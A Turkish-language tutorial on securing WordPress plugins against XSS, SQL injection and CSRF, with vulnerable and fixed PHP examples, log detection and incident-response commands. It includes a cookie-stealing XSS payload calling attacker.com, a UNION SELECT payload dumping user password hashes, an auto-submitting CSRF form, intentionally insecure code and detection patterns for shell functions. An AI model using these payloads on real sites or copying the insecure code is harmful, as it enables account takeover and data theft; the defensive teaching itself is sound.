XSS, SQLi ve CSRF: WordPress Eklenti Güvenlik Açıkları ve Korunma Yöntemleri
Yıllar önce bir müşterimin WooCommerce sitesinde tam anlamıyla bir kabus yaşadım. Gece yarısı gelen “sitemiz ele geçirildi” mesajı, sabaha kadar süren forensic analizi ve sonunda bulduğumuz şey: iki yıldır aktif kullanılan bir eklentideki basit bir SQL injection açığı. O gece bana çok şey öğretti. WordPress eklenti güvenliği, çoğu sysadmin’in düşündüğünden çok daha derin bir konu ve bugün bu yazıda sizi o derinliğe götüreceğim.
WordPress Eklenti Güvenlik Açıkları Neden Bu Kadar Yaygın?
PHP’nin esnekliği bir nimet, ama aynı zamanda bir lanet. WordPress’in açık kaynak ekosistemi, binlerce geliştiricinin eklenti yazmasına olanak tanıyor. Ancak bu geliştiricilerin büyük bir kısmı güvenlik konusunda yeterli eğitim almamış durumda. WordPress.org’da 60.000’den fazla eklenti var. Her birinin kalitesi farklı.
Peki en sık karşılaşılan açık türleri neler? XSS (Cross-Site Scripting), SQLi (SQL Injection) ve CSRF (Cross-Site Request Forgery). Bu üçlü, WordPress dünyasında bir “şeytan üçgeni” oluşturuyor. Gelin bunları tek tek inceleyelim, ama önce bu açıkları test edebileceğiniz bir ortam kuralım.
Test Ortamı Kurulumu
Gerçek sitelerde güvenlik testi yapmak hem etik dışı hem de yasal açıdan sorunlu. Kendi yerel ortamınızı kurmanız şart:
# Docker ile hızlı WordPress test ortamı
docker run -d
--name wordpress-test
-e WORDPRESS_DB_HOST=db
-e WORDPRESS_DB_USER=wpuser
-e WORDPRESS_DB_PASSWORD=test123
-e WORDPRESS_DB_NAME=wordpress
-p 8080:80
wordpress:latest
# WP-CLI kurulumu ile hızlı yapılandırma
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
sudo mv wp-cli.phar /usr/local/bin/wp
# WordPress'i yapılandır
wp core install
--url=http://localhost:8080
--title="Test Site"
--admin_user=admin
--admin_password=admin123
[email protected]
--allow-root
Bu ortamda rahatlıkla deney yapabilirsiniz. Şimdi asıl konuya girelim.
XSS: Görünmez Tehdit
XSS, bir saldırganın kurbanın tarayıcısında JavaScript çalıştırmasına imkan veren bir açık türü. WordPress eklentilerinde üç farklı formda karşılaşıyoruz:
- Reflected XSS: Kullanıcı girdisi anında sayfaya yansıyor
- Stored XSS: Kötü niyetli kod veritabanına kaydediliyor, her sayfa yüklendiğinde çalışıyor
- DOM-based XSS: JavaScript tarafında gerçekleşiyor, sunucu hiç dahil olmuyor
Savunmasız Eklenti Kodu Örneği
Aşağıdaki kod, birçok “üretim ortamındaki” eklentide gördüğüm bir pattern:
<?php
// YANLIS - XSS'e acik kod
function display_search_results() {
$search_term = $_GET['s'];
echo '<div class="results">';
echo 'Arama sonuclari: ' . $search_term;
echo '</div>';
}
add_shortcode('search_results', 'display_search_results');
Bu koda ?s=document.location='http://attacker.com/cookie.php?c='+document.cookie parametresi geçildiğinde ne olur? Kullanıcının cookie’leri saldırgana gider. Admin bu linki tıklarsa, saldırgan wp-admin’e erişim elde eder.
Doğru Yaklaşım
<?php
// DOGRU - XSS korumalı kod
function display_search_results() {
// Önce nonce doğrulaması
$search_term = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<div class="results">';
// esc_html() ile output encoding
echo 'Arama sonuclari: ' . esc_html($search_term);
echo '</div>';
}
add_shortcode('search_results', 'display_search_results');
WordPress’in sunduğu sanitizasyon fonksiyonları altın değerinde. Hangisini nerede kullanacağınızı bilmek kritik:
- sanitize_text_field(): Genel metin girdileri için, HTML taglarını siler
- sanitize_email(): E-posta adresleri için
- sanitize_url(): URL’ler için
- esc_html(): HTML içeriği olarak çıktı verirken
- esc_attr(): HTML attribute değerlerinde
- esc_url(): URL çıktısında
- esc_js(): JavaScript içinde string çıktısında
- wp_kses_post(): HTML içermesine izin verilen alanlarda, izin verilen tagları filtreler
Stored XSS Gerçek Dünya Senaryosu
2022 yılında popüler bir form eklentisinde keşfedilen açığı düşünün. Kullanıcılar form alanlarına veri giriyor, admin bu verileri görmek için yönetim paneline giriyor. Eğer form verisi sanitize edilmeden veritabanına kaydediliyorsa:
<?php
// Açıklı form kaydetme fonksiyonu
function save_form_submission() {
global $wpdb;
// YANLIS: Direkt $_POST kullanımı
$wpdb->insert(
$wpdb->prefix . 'form_submissions',
array(
'name' => $_POST['name'], // XSS açığı!
'message' => $_POST['message'], // XSS açığı!
)
);
}
// DOGRU: Sanitize edilmiş versiyon
function save_form_submission_secure() {
global $wpdb;
// Nonce kontrolü
if (!wp_verify_nonce($_POST['_wpnonce'], 'form_submit')) {
wp_die('Güvenlik doğrulaması başarısız');
}
$wpdb->insert(
$wpdb->prefix . 'form_submissions',
array(
'name' => sanitize_text_field($_POST['name']),
'message' => wp_kses_post($_POST['message']),
),
array('%s', '%s')
);
}
SQL Injection: Veritabanının Kapılarını Açmak
O gece yaşadığım krizin sebebi buydu. SQL injection, bir saldırganın uygulama üzerinden doğrudan SQL sorguları çalıştırabilmesine olanak tanıyor. WordPress’te en sık karşılaştığım pattern şu:
<?php
// YANLIS - SQL Injection'a acik
function get_user_orders($user_id) {
global $wpdb;
// Direkt string concatenation - felaket reçetesi
$query = "SELECT * FROM {$wpdb->prefix}orders WHERE user_id = " . $user_id;
return $wpdb->get_results($query);
}
Bu fonksiyona $user_id olarak 1 OR 1=1 UNION SELECT user_login, user_pass, 3, 4, 5 FROM wp_users-- gönderildiğinde ne olur? Tüm kullanıcı adları ve hash’lenmiş şifreler açığa çıkar.
Prepared Statements: Tek Doğru Yol
<?php
// DOGRU - Prepared statements ile güvenli sorgu
function get_user_orders_secure($user_id) {
global $wpdb;
// $wpdb->prepare() her zaman kullanılmalı
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}orders WHERE user_id = %d",
absint($user_id)
);
return $wpdb->get_results($query);
}
// Birden fazla parametre ile kullanım
function get_orders_by_status($user_id, $status) {
global $wpdb;
$query = $wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}orders
WHERE user_id = %d
AND status = %s
AND created_at > %s",
absint($user_id),
sanitize_text_field($status),
date('Y-m-d', strtotime('-30 days'))
);
return $wpdb->get_results($query);
}
$wpdb->prepare() içinde kullanılan placeholder’lar:
- %d: Integer değerler için
- %s: String değerler için (otomatik quote ekler)
- %f: Float değerler için
- %i: Identifier (tablo adı, kolon adı) için – WordPress 6.1+
SQLi Tespiti: Log Analizi
Bir siteye SQLi saldırısı geldiğini nasıl anlarsınız? Apache/Nginx loglarını izleyin:
# Olası SQLi denemelerini loglardan tespit et
grep -E "(union|select|insert|drop|update|delete|'|--|;)"
/var/log/nginx/access.log |
grep -i "wordpress" |
awk '{print $1, $7}' |
sort | uniq -c | sort -rn | head -20
# URL decode ederek daha iyi görünüm
grep "wp-" /var/log/nginx/access.log |
python3 -c "
import sys, urllib.parse
for line in sys.stdin:
print(urllib.parse.unquote(line.strip()))
" | grep -iE "(union|select|drop|--|0x)"
Gerçek bir saldırıyı tespit ettiğinizde şu adımları izleyin:
# Saldırgan IP'yi geçici olarak engelle
sudo iptables -A INPUT -s SALDIRGAN_IP -j DROP
# UFW kullanıyorsanız
sudo ufw deny from SALDIRGAN_IP to any
# Fail2ban için WordPress filter oluştur
sudo cat > /etc/fail2ban/filter.d/wordpress-sqli.conf << 'EOF'
[Definition]
failregex = ^<HOST> .*(union|select|drop|insert).*(from|into|table).*$
ignoreregex =
EOF
CSRF: Güvenilir Kullanıcıyı Silah Olarak Kullanmak
CSRF, XSS ve SQLi’ye kıyasla daha az bilinse de bir o kadar tehlikeli. Saldırgan, oturum açmış bir kullanıcıyı (örneğin admin) farkında olmadan kötü niyetli bir işlem yapmaya zorluyor.
Şöyle düşünün: Admin panelinde oturum açık bir WordPress yöneticisi, saldırgan tarafından hazırlanmış bir sayfayı ziyaret ediyor. O sayfadaki gizli bir form otomatik olarak submit ediliyor ve admin farkında olmadan bir arka kapı kullanıcısı oluşturuluyor.
CSRF’ye Açık Eklenti Örneği
<?php
// YANLIS - CSRF koruması yok
function handle_admin_action() {
if (isset($_POST['action']) && $_POST['action'] === 'delete_all_comments') {
// Hiçbir doğrulama yok!
global $wpdb;
$wpdb->query("TRUNCATE TABLE {$wpdb->prefix}comments");
echo "Tüm yorumlar silindi";
}
}
add_action('admin_post_handle_action', 'handle_admin_action');
Saldırgan şöyle bir HTML hazırlıyor:
<!-- Saldırganın sitesindeki gizli form -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://hedef-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="handle_action">
<input type="hidden" name="action" value="delete_all_comments">
</form>
</body>
</html>
Nonce ile CSRF Koruması
WordPress’in nonce sistemi bu saldırıya karşı ana savunma mekanizması:
<?php
// DOGRU - Nonce korumalı versiyon
// Form oluştururken nonce ekle
function render_admin_form() {
?>
<form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
<?php wp_nonce_field('delete_comments_action', 'delete_comments_nonce'); ?>
<input type="hidden" name="action" value="handle_admin_action">
<button type="submit">Yorumları Sil</button>
</form>
<?php
}
// İşlemi gerçekleştirirken nonce doğrula
function handle_admin_action_secure() {
// Nonce doğrulaması - olmadan işlemi durdur
if (!isset($_POST['delete_comments_nonce']) ||
!wp_verify_nonce($_POST['delete_comments_nonce'], 'delete_comments_action')) {
wp_die('Güvenlik doğrulaması başarısız. Bu sayfayı doğrudan açamazsınız.');
}
// Yetki kontrolü de şart
if (!current_user_can('manage_options')) {
wp_die('Bu işlem için yetkiniz yok.');
}
// Güvenli işlem
global $wpdb;
$wpdb->query("TRUNCATE TABLE {$wpdb->prefix}comments");
wp_redirect(admin_url('edit-comments.php?deleted=all'));
exit;
}
add_action('admin_post_handle_admin_action', 'handle_admin_action_secure');
AJAX isteklerinde CSRF koruması biraz farklı işliyor:
<?php
// AJAX ile CSRF koruması
add_action('wp_enqueue_scripts', 'enqueue_plugin_scripts');
function enqueue_plugin_scripts() {
wp_enqueue_script('my-plugin', plugin_dir_url(__FILE__) . 'js/plugin.js', array('jquery'), '1.0', true);
// Nonce'u JavaScript'e aktar
wp_localize_script('my-plugin', 'myPluginVars', array(
'ajaxurl' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('my_plugin_nonce'),
));
}
// AJAX handler
add_action('wp_ajax_my_plugin_action', 'handle_ajax_action');
add_action('wp_ajax_nopriv_my_plugin_action', 'handle_ajax_action');
function handle_ajax_action() {
// AJAX nonce doğrulaması
check_ajax_referer('my_plugin_nonce', 'security');
// İşlemleri yap
$result = array('success' => true, 'data' => 'İşlem tamamlandı');
wp_send_json_success($result);
}
Kapsamlı Güvenlik Denetimi: Eklentinizi Test Edin
Geliştirdiğiniz veya kullandığınız eklentiyi test etmek için birkaç araç:
# WPScan ile eklenti güvenlik taraması
wpscan --url http://localhost:8080
--enumerate p
--plugins-detection aggressive
--api-token YOUR_API_TOKEN
# Belirli bir eklentiyi tara
wpscan --url http://localhost:8080
--enumerate p
--plugins-list my-plugin
# PHP kaynak kodunda güvensiz pattern ara
grep -rn "echo $_GET|echo $_POST|echo $_REQUEST"
/var/www/html/wp-content/plugins/my-plugin/
# Prepared statement kullanılmayan sorguları bul
grep -rn "wpdb->query|wpdb->get_results|wpdb->get_var"
/var/www/html/wp-content/plugins/my-plugin/ |
grep -v "prepare"
Güvenli Eklenti Geliştirme Checklist
Yıllar içinde geliştirdiğim ve her yeni eklentide uyguladığım kontrol listesi:
Input Validation Katmanı
- Tüm kullanıcı girdileri (GET, POST, COOKIE) için sanitizasyon yapılıyor mu?
- Integer beklenen yerlerde
absint()veyaintval()kullanılıyor mu? - E-posta için
is_email()ile format kontrolü var mı? - Dosya upload’larında MIME type ve extension kontrolü yapılıyor mu?
Output Encoding Katmanı
- HTML çıktısında
esc_html()veyaesc_attr()kullanılıyor mu? - URL çıktısında
esc_url()var mı? - JavaScript içinde
esc_js()uygulanıyor mu? - Admin sayfalarında bile output encoding ihmal edilmiyor mu?
Veritabanı Katmanı
- Tüm sorgularda
$wpdb->prepare()kullanılıyor mu? - Doğrudan
$_GETveya$_POSTdeğerleri SQL sorgusuna giriyor mu? - Tablo adları bile dinamik oluşturuluyorsa kontrol ediliyor mu?
CSRF Koruması
- Form submit eden her işlemde nonce oluşturuluyor ve doğrulanıyor mu?
- AJAX isteklerinde
check_ajax_referer()veyawp_verify_nonce()var mı? - GET istekleri ile veri değişikliği yapılıyor mu? (Bu başlı başına bir sorun)
Yetki Kontrolü
- Her admin işlemi öncesi
current_user_can()kontrolü yapılıyor mu? - REST API endpoint’leri için
permission_callbacktanımlanmış mı? - Kullanıcı rollerine göre farklı kısıtlamalar uygulanıyor mu?
Güvenlik Olayı Sonrası Adımlar
Eğer bir eklenti açığı tespit ettiyseniz veya site ele geçirildiyse:
# WordPress dosyalarının bütünlüğünü kontrol et
wp core verify-checksums --allow-root
# Eklenti dosyalarında şüpheli kod ara
grep -rn "base64_decode|eval|system|exec|passthru|shell_exec"
/var/www/html/wp-content/plugins/
--include="*.php"
# Son değiştirilen PHP dosyalarını listele (saldırı tarihinden itibaren)
find /var/www/html/wp-content/ -name "*.php"
-newer /var/www/html/wp-config.php
-type f | sort
# Şüpheli admin kullanıcılarını tespit et
wp user list --role=administrator --allow-root
# Tüm kullanıcı oturumlarını sonlandır
wp user session destroy --all --allow-root
Sonuç
WordPress eklenti güvenliği, bir kez yapılıp bırakılan bir iş değil. XSS, SQLi ve CSRF açıkları; dikkatli kod yazımı, düzenli denetim ve güvenlik haberlerini takip etmekle minimize edilebiliyor. Ancak sıfır risk diye bir şey yok.
Benim önerim şu: Eklenti geliştiriyorsanız, yazdığınız her satırı “bu input’a güvenebilir miyim?” ve “bu output güvenli mi?” sorularıyla sorgulayın. Eklenti kullanıyorsanız, aktif geliştirme yapılan, düzenli güvenlik güncellemesi alan eklentileri tercih edin ve WPScan gibi araçlarla düzenli tarama yapın.
O gece yaşadığım krizi sona erdirdiğimde saat sabahın dördüydü. Siteyi temizledim, açığı kapattım, müşteriye rapor yazdım. En acı ders şuydu: Açık iki yıldır oradaydı, kimse bakmamıştı. Düzenli denetim yapmak, bu hikayelerin kahramanı değil, sıradan bir sysadmin olmaya devam etmenizi sağlar. Kahraman olmak zorunda kalmayın.
